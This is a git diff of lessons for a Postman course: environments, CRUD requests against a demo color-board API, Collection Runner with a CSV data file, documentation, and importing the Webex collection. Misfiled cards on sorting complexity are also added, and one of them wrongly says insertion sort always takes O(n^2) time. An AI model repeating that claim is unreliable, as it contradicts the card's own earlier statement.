+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/2.md
@@ -1,25 +1,32 @@
-
-
-# Creating Environments
-
-Before we start adding requests to our Color Changer collection, let's create an **environment** that will allow us to store variables. Putting variables in an environment saves us time because instead having to retype long elements, such as a URL, we can simply use the variable name instead.
-
-To create an environment, you click the large **NEW** button and then **Environment**.
-
-#### Color Changer Environment:
-
-Let's walk through making a new environment for our BitBloxs API. Create a new environment that we'll name **Deploy**. You'll see this table to create the variables:
-
-
-
-In the **VARIABLE** column, add the variables **url** and **api_key**. For the **INITAL VALUE** and **CURRENT VALUE** columns corresponding to **url**, enter our URL https://bitbloxs.herokuapp.com/. For the **INITAL VALUE** and **CURRENT VALUE** columns corresponding to **api_key**, let's enter a generic API key such as **thisistheapikey**. Here's what your table should look like after you fill it out:
-
-
-
-Now you can click **Add**, and our environment will be created. Since we made the new environment, we want to make sure that it is the active environment that Postman will be using when we try to access our variables. To do so, find this part of the Postman window:
-
-
-
-Make sure that the bar in the above image indicates that the active environment is **Deploy**. If not, click on the dropdown menu and select **Deploy**.
-
-To use our environment variables, it requires this format: `{{variableName}}`. We'll get practice using variables when we start adding requests to our collections.
\ No newline at end of file
+
+
+# Creating Environments
+
+Before we start adding requests to our Color Changer collection, let's create an **environment** that will allow us to store variables. Putting variables in an environment saves us time: instead of having to retype long elements, such as an URL, we can simply use the variable name instead.
+
+To create an environment, click the large **NEW** button on the top left corner and then click on **Environment**.
+
+
+
+
+
+Color Changer Environment:
+
+Now we are going to walk you through creating the new environment for our BitBloxs API. Lets name our new environment **Deploy** where it says ``Environment name``. The table under that will alow us to create the variables:
+
+
+
+In the **VARIABLE** column, add the variables **url** and **api_key**. For the **INITAL VALUE** and **CURRENT VALUE** columns corresponding to **url**, enter our URL https://bitbloxs.herokuapp.com/. For the **INITAL VALUE** and **CURRENT VALUE** columns corresponding to **api_key**, let's enter a generic API key such as **thisistheapikey**. Here's what your table should look like after you fill it out:
+
+
+
+Now you can click **Add**, and our environment will be created. Since we made the new environment, we want to make sure that it is the active environment that Postman will be using when we try to access our variables. To do so, find this part of the Postman window:
+
+
+
+Make sure that the bar in the above image indicates that the active environment is **Deploy**. If not, click on the dropdown menu and select **Deploy**:
+
+
+
+To use our environment variables, it requires this format: `{{variableName}}`. We'll get practice using variables when we start adding requests to our collections.
+
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/3.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/3.md
index ed235601..49507c0b 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/3.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/3.md
@@ -1,20 +1,17 @@
-
-
-# Adding Requests to Collections
-
-Now that we have created our **Color Changer** collection and **Deploy** environment, we can start adding requests to the collection. To add a request to our existing collection, click on the `...` icon next to the collection:
-
-
-
-
-
-Then click **Add Request**. A menu will pop up asking you to name the request and provide an optional description of the request you are making.
-
-#### Color Changer Collection:
-
-We will go through examples of adding requests to collections by adding 4 requests to our **Color Changer** collection in the following cards.
-
-
-
-
-
+
+
+# Adding Requests to Collections
+
+Now that we have created our **Color Changer** collection and **Deploy** environment, we can start adding requests to the collection. To add a request to our existing collection, hover your mouse over the collection and then click on the `...` icon next to the collection:
+
+
+
+Then click **Add Request**. A menu will pop up asking you to name the request and provide an optional description of the request you are making:
+
+
+
+#### Color Changer Collection:
+
+We will go through examples of adding requests to collections by adding 4 requests to our **Color Changer** collection in the following cards.
+
+
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/4.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/4.md
index b0b8a0d7..489d18dd 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/4.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/4.md
@@ -1,24 +1,24 @@
-
-
-# First Request (GET):
-
-The first request that we'll be adding to our **Color Changer** collection is a GET request. Here are the steps we must follow to create the GET request and add it to our collection:
-
-* Create a new request in the Color Changer collection
-* Name the request `Get all boxes`
-* Add API key authentication to this request
-
-To add authentication to our requests, first click the **Authentication** tab in the request window:
-
-
-
-Then under **TYPE**, select the option **API Key**. To the right, in the **Key** field, enter api_key. In the **Value** field, enter our variable for our API Key, which is {{api_key}}. For the **Add to** field, ensure that Query Params is selected. Your Authorization window should now look like this:
-
-
-
-Now that we've established our credentials, let's create the route. To do so, refer to the route bar:
-
-
-
-Make sure that the box on the left reads **GET** because we are making a GET request. In the box that reads `Enter request URL`, let's put our GET request URL, which would be `{{url}}boxes?=&=`. Notice how we are accessing our url variable we established earlier by calling {{url}}. Now if we click **Send**, we should receive a response that lists all the boxes in JSON format, which allows us to see the current status of the BitBloxs. Our GET request is now complete! Make sure to save it by clicking on the **Save** button to the right of **Send**.
-
+
+
+# First Request (GET):
+
+The first request that we'll be adding to our **Color Changer** collection is a GET request. Here are the steps we must follow to create the GET request and add it to our collection:
+
+* Create a new request in the Color Changer collection
+* Name the request `Get all boxes`
+* Add API key authentication to this request
+
+To add the API key authentication to our requests, first click the **Authorization** tab in the request window:
+
+
+
+Then under **TYPE**, select the option **API Key**. To the right, in the **Key** field, enter api_key. In the **Value** field, enter our variable for our API Key, which is {{api_key}}. For the **Add to** field, ensure that Query Params is selected. Your Authorization window should now look like this:
+
+
+
+Now that we've established our credentials, let's create the route. To do so, refer to the route bar:
+
+
+
+Make sure that the box on the left reads **GET** because we are making a GET request. In the box that reads `Enter request URL`, let's put our GET request URL, which would be `{{url}}boxes?=&=`. Notice how we are accessing our url variable we established earlier by calling {{url}}. Now if we click **Send**, we should receive a response that lists all the boxes in JSON format, which allows us to see the current status of the BitBloxs. Our GET request is now complete! Make sure to save it by clicking on the **Save** button to the right of **Send**.
+
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/5.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/5.md
index 741b176f..22c3b5ac 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/5.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/5.md
@@ -1,14 +1,14 @@
-
-
-# Second Request (POST):
-
-The next request we want to create is a POST request. A POST request will allow us to initialize the color of a white box. To create our POST request, follow the same first 3 steps from the GET request but name this request `Change color` instead.
-
-To change make this request into a POST request, in the route bar, change the drop down menu that defaults to GET to the value **POST**.
-
-To complete our request, we just need to work on the request URL. For the POST request, the generic format of the URL would be `{{url}}change/boxNumber/color`. For `boxNumber`, you can insert the number of the box you want to initialize to a certain color. For `color`, you can insert the color (blue, orange, green, yellow) that you want the box to be initialized to. For example if you want to initialize box 23 to the color green, your request should look like:
-
-
-
-If you **Send** that request, you should get a response message saying that you successfully changed the color. However, if you send that same request one more time, you should get an error message. The reason for the error is because you changed the color of the box to green with your first request and therefore can no longer initialize the color of the box, thus resulting in the error. To edit the color of an already initialized box, you need to use our next request.
-
+
+
+# Second Request (POST):
+
+The next request we want to create is a POST request. A POST request will allow us to initialize the color of a white box. To create our POST request, follow the same first 3 steps from the GET request but name this request `Change color` instead.
+
+To change make this request into a POST request, in the route bar, change the drop down menu that defaults to GET to the value **POST**.
+
+To complete our request, we just need to work on the request URL. For the POST request, the generic format of the URL would be `{{url}}change/boxNumber/color`. For `boxNumber`, you can insert the number of the box you want to initialize to a certain color. For `color`, you can insert the color (blue, orange, green, yellow) that you want the box to be initialized to. For example if you want to initialize box 23 to the color green, your request should look like:
+
+
+
+If you **Send** that request, you should get a response message saying that you successfully changed the color. However, if you send that same request one more time, you should get an error message. The reason for the error is because you changed the color of the box to green with your first request and therefore can no longer initialize the color of the box, thus resulting in the error. To edit the color of an already initialized box, you need to use our next request.
+
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/6.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/6.md
index ba9e79d6..cdcc9536 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/6.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/6.md
@@ -1,9 +1,9 @@
-
-
-# Third Request (PUT):
-
-To edit the color of a box, we will use a PUT request. The steps to creating a PUT request are the same as the previous requests but instead we will indicate in the route bar that it is a PUT request. For the PUT request, you can name it `Edit color`. Our generic request URL will be `{{url}}change/boxNumer/color`. For example, if you want to change the color of box 202 to yellow, this will be your PUT request:
-
-
-
+
+
+# Third Request (PUT):
+
+To edit the color of a box, we will use a PUT request. The steps to creating a PUT request are the same as the previous requests but instead we will indicate in the route bar that it is a PUT request. For the PUT request, you can name it `Edit color`. Our generic request URL will be `{{url}}change/boxNumer/color`. For example, if you want to change the color of box 202 to yellow, this will be your PUT request:
+
+
+
If you send the request, it should successfully change the color of box 202 to yellow. The case where this PUT request will result in an error is if the box has not been initialized to a color yet. To initialize the color we must use the POST request from our collection.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/7.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/7.md
index a224a40d..48821c48 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/7.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/7.md
@@ -1,11 +1,11 @@
-
-
-# Fourth Request (DELETE):
-
-The last request that we will add to our Color Changer collection is a DELETE request. Our DELETE request will remove the color from the specified box and return it to the uninitialized white state. To create the DELETE request, the process is the same as prior, but this request will be named `Delete color`. Make sure that you indicate we are doing a DELETE request in the dropdown menu in the route bar. The URL for this request will be `{{url}}delete/boxNumber`. Therefore, if you want to delete the color from box 254, the request should look like:
-
-
-
-
-
+
+
+# Fourth Request (DELETE):
+
+The last request that we will add to our Color Changer collection is a DELETE request. Our DELETE request will remove the color from the specified box and return it to the uninitialized white state. To create the DELETE request, the process is the same as prior, but this request will be named `Delete color`. Make sure that you indicate we are doing a DELETE request in the dropdown menu in the route bar. The URL for this request will be `{{url}}delete/boxNumber`. Therefore, if you want to delete the color from box 254, the request should look like:
+
+
+
+
+
The requests we added to Color Changer are just some of the basic essentials needed to use Postman with your APIs. Postman has many features that allow you to test the functionality of APIs that you can continue to explore.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/8.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/8.md
index b50b4139..88670144 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/8.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/8.md
@@ -1,46 +1,46 @@
-
-
-# Generating Documentation
-
-Creating documentation is important when creating any project. The same principle applies to Postman collections. We want to create documentation for our collections for people who might want to use the collections in the future. The documentation will provide the user on the purpose and usage of the collection.
-
-One feature that Postman provides is that it will automatically generate some documentation for a collection. You can then go into the generated documentation and edit it to include more detail. We will be using Postman's Documenter to create documentation for the Color Changer collection.
-
-#### Color Changer Collection:
-
-We will walk through an example of generating documentation for our Color Changer collection. To generate the documentation, click the arrow next to the collection on the collection menu:
-
-
-
-Then simply click **View in web**. As you can see, Postman generates some documentation for our Color Changer collection.
-
-However, we want to add more details to our documentation. The easy way to do so would be to:
-
-* Click the **New** button
-* Click **API Documentation**
-* Click the **Select an existing collection**
-* Click **Color Changer**
-
-Once you get to this window, you will notice that Postman provides default questions for you to make you documentation more informative. I recommend answering those questions on your own to make sure you understand the purpose of the Color Changer collection.
-
-After answering those questions, click **Save**. Postman will provide you with a link to the updated documentation.
-
-The automatically generated documentation has a section for each request we made. It provides the name, request URL, and an example response on the right side. However, we want to edit this documentation to provide more details.
-
-To do so, you must open a certain request on Postman. Then click the small arrow next to the requests name:
-
-
-
-Then click **Add a description**. This will allow you to add add detail to each request's documentation using Markdown.
-
-
-
-Here is some sample documentation for each request we created. I recommend filling out this documentation for each request, or create your own documentation. Also, note that the request URL is in a generic form; I recommend changing your request URL to a generic form for the documentation, or explain each part of your current URL below. Therefore, the user can easily understand each part of the request URL.
-
-
-
-
-
-
-
+
+
+# Generating Documentation
+
+Creating documentation is important when creating any project. The same principle applies to Postman collections. We want to create documentation for our collections for people who might want to use the collections in the future. The documentation will provide the user on the purpose and usage of the collection.
+
+One feature that Postman provides is that it will automatically generate some documentation for a collection. You can then go into the generated documentation and edit it to include more detail. We will be using Postman's Documenter to create documentation for the Color Changer collection.
+
+#### Color Changer Collection:
+
+We will walk through an example of generating documentation for our Color Changer collection. To generate the documentation, click the arrow next to the collection on the collection menu:
+
+
+
+Then simply click **View in web**. As you can see, Postman generates some documentation for our Color Changer collection.
+
+However, we want to add more details to our documentation. The easy way to do so would be to:
+
+* Click the **New** button
+* Click **API Documentation**
+* Click the **Select an existing collection**
+* Click **Color Changer**
+
+Once you get to this window, you will notice that Postman provides default questions for you to make you documentation more informative. I recommend answering those questions on your own to make sure you understand the purpose of the Color Changer collection.
+
+After answering those questions, click **Save**. Postman will provide you with a link to the updated documentation.
+
+The automatically generated documentation has a section for each request we made. It provides the name, request URL, and an example response on the right side. However, we want to edit this documentation to provide more details.
+
+To do so, you must open a certain request on Postman. Then click the small arrow next to the requests name:
+
+
+
+Then click **Add a description**. This will allow you to add add detail to each request's documentation using Markdown.
+
+
+
+Here is some sample documentation for each request we created. I recommend filling out this documentation for each request, or create your own documentation. Also, note that the request URL is in a generic form; I recommend changing your request URL to a generic form for the documentation, or explain each part of your current URL below. Therefore, the user can easily understand each part of the request URL.
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/9.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/9.md
index db5165df..2cabe4d5 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/9.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/9.md
@@ -1,40 +1,40 @@
-
-
-# Importing API Collections
-
-Postman has a feature that allows you to import APIs from existing documentation. To demonstrate this feature, we will be using **Cisco DevNet**, which can be found at https://explore.postman.com/team/ciscodevnet.
-
-On the link above, find **Webex Teams API**. To import this API into Postman, simply click the orange button to the right that says **Run in Postman**. It should open this collection in Postman. To understand the usage of this collection, you can click **View Documentation**.
-
-
-
-Since we'll be using the **Webex Teams API**, let's open it in Postman and open the documentation. The API request we are going to use from this collection is the **Create a room (Teams)** POST request, which can be found here:
-
-
-
-Since we did not create this collection or API, we obviously do not know how to use the **Create a room** request; therefore, let's refer to the documentation we opened earlier. If we look for this request in the left menu bar, we can easily the find documentation for the request we're working with. Here's what the documentation for this request looks like:
-
-
-
-If you look under **HEADERS** you will notice that this request requires an access token to perform this request. To get this access token, you will need to sign up for a Cisco Webex account on the link in the documentation (https://developer.webex.com/endpoint-rooms-post.html). Once you log into your Webex account, it will give you an access token. You simply have to click the copy button on this screen:
-
-
-
-Now that you have your access token copied to your clipboard, let's authorize our request in Postman:
-
-
-
-Notice how I selected the Authorization Type to be **Bearer Token**. I chose Bearer Token because the documentation indicated that the Authorization type is **Bearer**.
-
-Now that we've authenticated our request, we can send a **Create a room (Teams)** POST request. From the documentation, you may have noticed that our request data will be in the request Body in JSON format. Therefore, let's go to the **Body** tab in Postman and change the **"title"** of our new room to the value **"Chat Room"**:
-
-
-
-Now if we click **Send**, our request should go through and the response should look something like:
-
-
-
-
-
-There we go! We have now imported an API Collection into our Postman collections and used the documentation to send a request to the Cisco Webex API and received a response.
-
+
+
+# Importing API Collections
+
+Postman has a feature that allows you to import APIs from existing documentation. To demonstrate this feature, we will be using **Cisco DevNet**, which can be found at https://explore.postman.com/team/ciscodevnet.
+
+On the link above, find **Webex Teams API**. To import this API into Postman, simply click the orange button to the right that says **Run in Postman**. It should open this collection in Postman. To understand the usage of this collection, you can click **View Documentation**.
+
+
+
+Since we'll be using the **Webex Teams API**, let's open it in Postman and open the documentation. The API request we are going to use from this collection is the **Create a room (Teams)** POST request, which can be found here:
+
+
+
+Since we did not create this collection or API, we obviously do not know how to use the **Create a room** request; therefore, let's refer to the documentation we opened earlier. If we look for this request in the left menu bar, we can easily the find documentation for the request we're working with. Here's what the documentation for this request looks like:
+
+
+
+If you look under **HEADERS** you will notice that this request requires an access token to perform this request. To get this access token, you will need to sign up for a Cisco Webex account on the link in the documentation (https://developer.webex.com/endpoint-rooms-post.html). Once you log into your Webex account, it will give you an access token. You simply have to click the copy button on this screen:
+
+
+
+Now that you have your access token copied to your clipboard, let's authorize our request in Postman:
+
+
+
+Notice how I selected the Authorization Type to be **Bearer Token**. I chose Bearer Token because the documentation indicated that the Authorization type is **Bearer**.
+
+Now that we've authenticated our request, we can send a **Create a room (Teams)** POST request. From the documentation, you may have noticed that our request data will be in the request Body in JSON format. Therefore, let's go to the **Body** tab in Postman and change the **"title"** of our new room to the value **"Chat Room"**:
+
+
+
+Now if we click **Send**, our request should go through and the response should look something like:
+
+
+
+
+
+There we go! We have now imported an API Collection into our Postman collections and used the documentation to send a request to the Cisco Webex API and received a response.
+
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/.gitkeep b/Module_Postman/activities/Act3_Creating_Postman_Collections/Cards/3-Checkpoint.md
similarity index 100%
rename from Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/.gitkeep
rename to Module_Postman/activities/Act3_Creating_Postman_Collections/Cards/3-Checkpoint.md
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/git 2.keep b/Module_Postman/activities/Act3_Creating_Postman_Collections/git 2.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/git.keep b/Module_Postman/activities/Act3_Creating_Postman_Collections/git.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act4_Collection_Runners/.DS_Store b/Module_Postman/activities/Act4_Collection_Runners/.DS_Store
new file mode 100644
index 00000000..b8e8ebc6
Binary files /dev/null and b/Module_Postman/activities/Act4_Collection_Runners/.DS_Store differ
diff --git a/Module_Postman/activities/Act4_Collection_Runners/1.md b/Module_Postman/activities/Act4_Collection_Runners/1.md
index 5bc10a90..f73b2ce4 100644
--- a/Module_Postman/activities/Act4_Collection_Runners/1.md
+++ b/Module_Postman/activities/Act4_Collection_Runners/1.md
@@ -2,10 +2,24 @@
## Collection Runners in Postman
-Up until this point, we've been manually sending a request to change each block's color. As our BitBlox site has 400 blocks, this isn't practical enough to send 400 requests. Luckily Postman has such a great feature called the Collection Runner that can help.
+Up until this point, we've been manually sending a request to change each block's color. However, our BitBlox site has 400 blocks! Not only is manuaully sending 400 impractical it is also inefficient when we want to test our program espcially as our programs get more advanced. Luckily Postman has such a great feature called the Collection Runner that can help automate the process of sending requests. Running a collection sends the requests in the collection one after another and can help streamline testing since it can be used with data files(`.cvs` or `.json`) to set options like number of itterations and amount of delay between requests. For our example, the Collection Runner allows us to efficiently send requests to the entire board by looping through all the possible IDs and executing requests for each ID.
-You can access it by clicking on **runner** in the top left corner.
-
-The Collection Runner allows us to efficiently send requests to the entire board by looping through all the possible IDs and executing requests for each ID.
+How do we run a collection with Collection Runner? You can access it by clicking on **runner** in the top left corner as depicted in the image below:

+
+This will bring you to the Collection Runner window that will allow you to choose your settings for what you want to run. In the picture below are the settings for Collection Runner.
+
+
+
+
+
+| Field | Description |
+| :--------------------- | ------------------------------------------------------------ |
+| A. Collection Choice | Here you can choose the Collection you would like to run, after choosing the collection you can choose which specific requests you want to run. |
+| B. Environment | Here you choose what enviornment you want to run you collection in |
+| C. Iteration and Delay | Here you choose how many times you run your request and if you would like to pause between requests |
+| D. Data File Upload | Here you can choose to upload data files that help with the process of automating testing |
+| E. Other Settings | Here you can choose other settings like saving responses, keeping variable values, run collection without using stored cookies, and save cookies after collection run. |
+
+Now that we know some general information on Collection Runner lets use it!
\ No newline at end of file
diff --git a/Module_Postman/activities/Act4_Collection_Runners/2.md b/Module_Postman/activities/Act4_Collection_Runners/2.md
index 226f3139..a780acda 100644
--- a/Module_Postman/activities/Act4_Collection_Runners/2.md
+++ b/Module_Postman/activities/Act4_Collection_Runners/2.md
@@ -1,8 +1,8 @@
-Our first task will be to reset the board.
+Now that we know what Collection Runner can do, let's use it to try to clear the BitBlox site.
-Go to the **delete** request, and edit the url so inside of the box number, we have a variable instead. As with most variables, you're free to call this variable whatever you'd like but we will be calling it **box_id**. When using variable names in Postman, surround them with two brackets like so: **{{box_id}}**.
+How are we going to do this? We can loop through the entire board by looping through the IDs and execute a delete request for each ID. To do this, lets go modify our the **delete** request from before. We'll edit the url so instead of the the actual box number, we have a variable instead. As with most variables, you're free to call this variable whatever you'd like but we will be calling it **box_id**. When using variable names in Postman, surround them with two brackets like so: **{{box_id}}**.
The delete URL should now look like this
@@ -16,7 +16,13 @@ OR
Now if we open our Runner tab, something like this should show up.
-
+
-For the collection portion, simply click on your folder with all the requests and choose the **Delete** one to run.
+Since we want to clear our board we only have to select the `DELET` request from our collection to run so lets deselect the others right now.
+
+Now that we have a request to run, now lets set up our other settings. Lets choose the environment which is simply just Deploy. Next we choose the number or itterations for our `DELET` request. Since we have 400 blocks, we want to do 400 iterations to clear our board. However, if we wanted to delete only half the board, we could just do the first 200 blocks by using 200 iterations.
+
+Its up to you whether or not you want to add a delay to the **Run**. For some applications, a delay is useful, but for simply clearing the board, adding a delay has no significant purpose. Make sure the save responses and save cookies after collection run boxes are checked off!
+
+Most of our setting are now set! Before we run however, how are we going to pass the box number as a variable into Postman so our board gets cleared? We can use a supporting data file for that! We will explore this next.
diff --git a/Module_Postman/activities/Act4_Collection_Runners/3.md b/Module_Postman/activities/Act4_Collection_Runners/3.md
index 5f4b2513..cd0c3ebd 100644
--- a/Module_Postman/activities/Act4_Collection_Runners/3.md
+++ b/Module_Postman/activities/Act4_Collection_Runners/3.md
@@ -1,13 +1,5 @@
-Now choose the Environment that you set up.
-
-As we have 400 blocks, we want to do 400 iterations. If we wanted to delete only half the board, we could just do the first 200 blocks by using 200 iterations.
-
-Its up to you whether or not you want to add a delay to the **Run**. For some applications, a delay is useful, but for simply clearing the board, adding a delay has no significant contributions.
-
-For our run we want to log all requests.
-
Postman Collection Runner allows us to upload a datafile that it will read from and cycle through. In other words, if we upload a datafile containing all the box numbers, Postman will send a unique request for each box number. This will allows us to clear our board efficiently.
For our datafile, we have the option of using either a .csv or .json file.
@@ -24,5 +16,7 @@ If we were to use a `.json` file, the format would look like so
The text from the .csv file is available for you to copy and paste so you don't have to write it out yourself.
+Now that we provided a file for postman to read from, lets discuss how postman actually read this file to know what to run.
+
diff --git a/Module_Postman/activities/Act4_Collection_Runners/4.md b/Module_Postman/activities/Act4_Collection_Runners/4.md
index a68c96f3..bbf8d321 100644
--- a/Module_Postman/activities/Act4_Collection_Runners/4.md
+++ b/Module_Postman/activities/Act4_Collection_Runners/4.md
@@ -1,60 +1,62 @@
-
-
-How does Postman read the data file?
-
-Remember in the beginning when we changed the URL from a number to a variable name?
-
-Instead of:
-
-```
-{{url}}delete/{{"Number"}}
-```
-
-We changed it to:
-
-```
-{{url}}delete/{{box_id}}
-```
-
-Notice that in both our JSON file and CSV file, there is a "box_id" title.
-
-In our CSV file, the first line is "box_id". In order for our Postman Runner to read which variable to change, the first line has to be names of all the variables you want to change.
-
-Lets say we want to be able to put different colors onto our table using one datafile.
-
-The first thing we would need to do is edit our command line. From
-
-```
-{{url}}change/{{box_id}}/{{color}}
-```
-
-to
-
-````
-{{url}}change/{{box_id}}/{{color}}
-````
-
-Now in our datafile, we would add another column with the command header.
-
-Here is another example CSV file.
-
-```
-box_id, color
-1, blue
-2, green
-3, blue
-4, green
-5, blue
-...
-```
-
-The output looks like this
-
-
-
-Feel free to play around with the datafiles and see how you can use them to your advantage. They are incredibly powerful and allow us to perform many more operations.
-
-
-
-
-
+
+
+How does Postman read the data file?
+
+Remember in the beginning when we changed the URL from a number to a variable name?
+
+Instead of:
+
+```
+{{url}}delete/#
+```
+
+We changed it to:
+
+```
+{{url}}delete/{{box_id}}
+```
+
+Notice that in both our JSON file and CSV file, there is a "box_id" title.
+
+In our CSV file, the first line is "box_id". In order for our Postman Runner to read which variable to change, the first line has to be names of all the variables you want to change.
+
+Lets say we want to be able to put different colors onto our table using one datafile.
+
+The first thing we would need to do is edit our command line. From
+
+```
+{{url}}change/#/color
+```
+
+to
+
+````
+{{url}}change/{{box_id}}/{{color}}
+````
+
+Now in our datafile, we would add another column with the command header.
+
+Here is another example CSV file.
+
+```
+box_id, color
+1, blue
+2, green
+3, blue
+4, green
+5, blue
+...
+```
+
+The output can look something like this
+
+
+
+
+
+Feel free to play around with the datafiles and see how you can use them to your advantage. They are incredibly powerful and allow us to perform many more operations.
+
+
+
+
+
diff --git a/Module_Postman/activities/Act4_Collection_Runners/5.md b/Module_Postman/activities/Act4_Collection_Runners/5.md
index 310d799d..b077b122 100644
--- a/Module_Postman/activities/Act4_Collection_Runners/5.md
+++ b/Module_Postman/activities/Act4_Collection_Runners/5.md
@@ -6,4 +6,4 @@ Save the cookies after collection run and Start Run.
Here is the end result. Once the Collection Runner has finished, you should be greeted with a blank board.
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act4_Collection_Runners/Cards/4.md b/Module_Postman/activities/Act4_Collection_Runners/Cards/4.md
new file mode 100644
index 00000000..db94b46b
--- /dev/null
+++ b/Module_Postman/activities/Act4_Collection_Runners/Cards/4.md
@@ -0,0 +1,20 @@
+The Big O complexities of each sorting method is different.
+
+**Bubble Sort**
+
+The best case time complexity is O(n) for bubble sort. The average and worst case time complexity is O(n^2), so there's a pretty big difference between best and worst.
+
+The worst case space complexity is O(1), which is constant.
+
+**Insertion Sort**
+
+The best case time complexity is O(n) for insertion sort as well. The average and worst case time is O(n^2), like bubble sort.
+
+The worst case space complexity is O(1).
+
+**Selection Sort**
+
+The best case time complexity is O(n^2) for selection sort, as are the average and worst cases. The only difference between this and the prior two methods is that there is no better best case; insertion sort will always take O(n^2) time.
+
+The worst case space complexity is O(1), same just like the other two sorting methods.
+
diff --git a/Module_Postman/activities/Act4_Collection_Runners/Cards/41.md b/Module_Postman/activities/Act4_Collection_Runners/Cards/41.md
new file mode 100644
index 00000000..ee139471
--- /dev/null
+++ b/Module_Postman/activities/Act4_Collection_Runners/Cards/41.md
@@ -0,0 +1,28 @@
+Remember that Big O notation describes the behavior of functions as input grows, in this case as the number of elements needed to sort increases.
+
+**Step 1: Bubble Sort**
+
+For bubble sort, there is a different time complexity for best case and worst case. This is important to note because that means that after a certain number of iterations, or elements to sort, this method becomes very inefficient. In the best case, the time it takes to sort is O(n), but this is only in the case that it sorts an already sorted list, because no sorting needs to happen. In this case, no elements need to be swapped, so major (and time consuming) work is avoided.
+
+Once a list is only slightly unsorted, time complexity becomes O(n^2). This is because there are O(n) elements in a list, and bubble sort makes O(n) comparisons, meaning it performs O(n) comparisons on O(n) elements. So we mutiply O(n)*O(n) to get O(n^2). This is very inefficient after a few iterations of this method, since this function grows quickly.
+
+The number of iterations is the key here, because we use a nested for loop to implement bubble sort. So, the more sorting that needs to be done, the more times we need to enter the nested and parent for loops, increasing the number of iterations, thus increasing the time complexity.
+
+O(n^2) is the average and worst case time complexity, so this method is mainly useful when only a couple of elements need to be sorted into their proper place.
+
+**Step 2: Insertion Sort**
+
+Insertion sort has the same time complexity breakdown as bubble sort. This is because, like bubble sort, no major work needs to be done when the list is sorted, in this case no elements need to be moved to the front of the list. So best case scenario, it'll sort a sorted list, making O(n) time.
+
+Worst case and average case are the same, meaning it typically performs in its worst case time complexity, O(n^2). The reasoning is essentially the same as bubble sort, making insertion sort again only useful when a small amount of sorting needs to be done.
+
+**Step 3: Selection Sort**
+
+Selection sort has basically the same time complexity as bubble and insertion sort, except it doesn't have an improved best case. This is because it goes through the entire list checking for the minimum value, and it won't know this until it reaches the end of the list. So, it always takes O(n^2) time, even when sorting an already sorted list, making this is the least efficient of the three methods. However, it takes O(n^2) time in every other case, just like the other two functions, so it performs the same most of the time.
+
+**Step 4: Space Complexity**
+
+Bubble sort, insertion sort, and selection sort each have a space complexity of O(1). This is also referred to as constant space complexity, since it's the same no matter the amount of data they are sorting through. This is because they all sort "in place," that is, they are acting directly on the array. This means they don't have to use up extra memory storing anything in order to sort.
+
+Keep in mind that O(1) isn't an amount of space itself, rather, it describes the constant space taken up by the algorithms, apart from the data they're operating on. The idea is that the only space taken is by the methods themselves, and the size of the data doesn't change that.
+
diff --git a/Module_Postman/activities/Act4_Collection_Runners/ReadMe.md b/Module_Postman/activities/Act4_Collection_Runners/ReadMe.md
new file mode 100644
index 00000000..6523b4af
--- /dev/null
+++ b/Module_Postman/activities/Act4_Collection_Runners/ReadMe.md
@@ -0,0 +1,24 @@
+# Activity/Lab Name
+
+Collection Runner
+
+# Long Summary
+
+Students will learn how to use the Postman Collection Runner function to clear the entire BitBloxs board. They will construct their own data file to pass into Collection Runner and learn how to use requests based on data files to automate the process of testing.
+
+# Short Summary
+
+Students will learn how to use the Runner function in Postman.
+
+# Criteria
+
+1. How can we use the collection runner to automate our testing process?
+2. Why is it helpful to have a datafile uploaded to assist in during the run?
+3. How can you change the other requests we have to take inputs from a data file too?
+
+# Difficulty
+
+Easy
+
+# Image
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act4_Collection_Runners/git 2.keep b/Module_Postman/activities/Act4_Collection_Runners/git 2.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act4_Collection_Runners/git.keep b/Module_Postman/activities/Act4_Collection_Runners/git.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act5_Mock_Servers/.DS_Store b/Module_Postman/activities/Act5_Mock_Servers/.DS_Store
new file mode 100644
index 00000000..5008ddfc
Binary files /dev/null and b/Module_Postman/activities/Act5_Mock_Servers/.DS_Store differ
diff --git a/Module_Postman/activities/Act5_Mock_Servers/1.md b/Module_Postman/activities/Act5_Mock_Servers/1.md
index 7e63d236..0fb832fe 100644
